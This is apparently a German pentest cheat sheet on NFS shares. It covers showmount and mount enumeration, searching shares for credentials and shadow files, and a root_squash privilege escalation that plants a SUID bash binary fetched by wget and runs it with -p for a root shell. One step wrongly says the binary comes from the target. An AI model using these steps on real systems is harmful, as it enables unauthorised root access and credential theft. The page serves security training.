2049 - NFS Service
Step for Step
showmount -e <IP-Adresse>
Listet die freigegebenen NFS-Verzeichnisse des Zielrechners auf.
mount -t nfs <IP-Adresse>:<Share> /mnt/nfs
Bindet den freigegebenen NFS-Share lokal ein.
ls /mnt/nfs
Zeigt den Inhalt des gemounteten NFS-Verzeichnisses an.
find /mnt/nfs -type f -exec grep -i "keyword" {} +
Sucht nach sensiblen Informationen in Dateien.
touch /mnt/nfs/testfile
Prüft, ob Schreibrechte vorhanden sind, indem eine Datei erstellt wird.
Verzeichnisse
/home
Enthält Benutzerverzeichnisse. Prüfe auf Konfigurationsdateien wie .ssh/authorized_keys und .bash_history für mögliche Zugangsdaten.
/var
Beinhaltet Logs und andere Systeminformationen. Besonders interessant sind /var/log, da hier System- und Anwendungslogs gespeichert sind, die potenziell sensible Informationen enthalten.
/etc
Enthält Systemkonfigurationsdateien. Besonders wichtig sind Dateien wie passwd, shadow, und fstab, die sicherheitsrelevante Informationen enthalten könnten.
/export
Häufig genutzter Standardpfad für NFS-Freigaben. Achte auf individuell konfigurierte Freigaben, die sensible oder wertvolle Daten enthalten könnten.
/mnt oder /media
Temporäre oder externe Mount-Punkte. Untersuche sie auf Backups oder externe Datenquellen, die sensible Informationen beinhalten könnten.
/backup
Möglicherweise enthält es Backups von Systemen oder Anwendungen. Diese könnten wichtige Daten wie Passwort-Hashes, Konfigurationsdateien oder Datenbanken enthalten.
root_squash
Eine Sicherheitsmaßnahme bei NFS, die verhindert, dass Benutzer mit root-Rechten auf dem NFS-Share arbeiten. Wenn root_squash deaktiviert ist, können Benutzer mit root-Rechten auf dem NFS-Share arbeiten und Dateien mit root-Rechten erstellen, was für die Privilegieneskalation ausgenutzt werden kann.
falls dies disabled ist:
wget <https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash
>
Lädt die Bash-Executable vom Zielrechner auf dein lokales System
cp ~/Downloads/bash /mnt/nfs/bash
Kopiere die Bash-Executable in das gemountete NFS-Verzeichnis.
chmod +s /mnt/nfs/bash (evtl.: chmod +x /mnt/nfs/bash)
Setzt das SUID-Bit, sodass die Bash-Executable mit den Rechten des Besitzers (root) ausgeführt wird
ssh -i key_name username@<IP-Adresse>
Melde dich auf dem Zielsystem an, um auf die Shell zuzugreifen.
/mnt/nfs/bash -p
Die Bash wird mit root-Rechten ausgeführt, da das SUID-Bit gesetzt wurde. (auf dem Zielsystem)
SUID-Bit
Das SUID-Bit ist ein spezielles Berechtigungsbit in Unix/Linux-Dateisystemen, das es einer ausführbaren Datei ermöglicht, mit den Rechten des Dateieigentümers ausgeführt zu werden, anstatt mit den Rechten des Benutzers, der die Datei ausführt.
Wie funktioniert das?
Normalerweise werden Programme mit den Rechten des Benutzers ausgeführt, der sie startet. Wenn das SUID-Bit jedoch gesetzt ist, wird das Programm mit den Rechten des Eigentümers der Datei ausgeführt.
Zum Beispiel: Wenn eine Datei
root
gehört und das SUID-Bit gesetzt ist, wird die Datei mitroot
Rechten ausgeführt, selbst wenn ein normaler Benutzer sie startet.
Last updated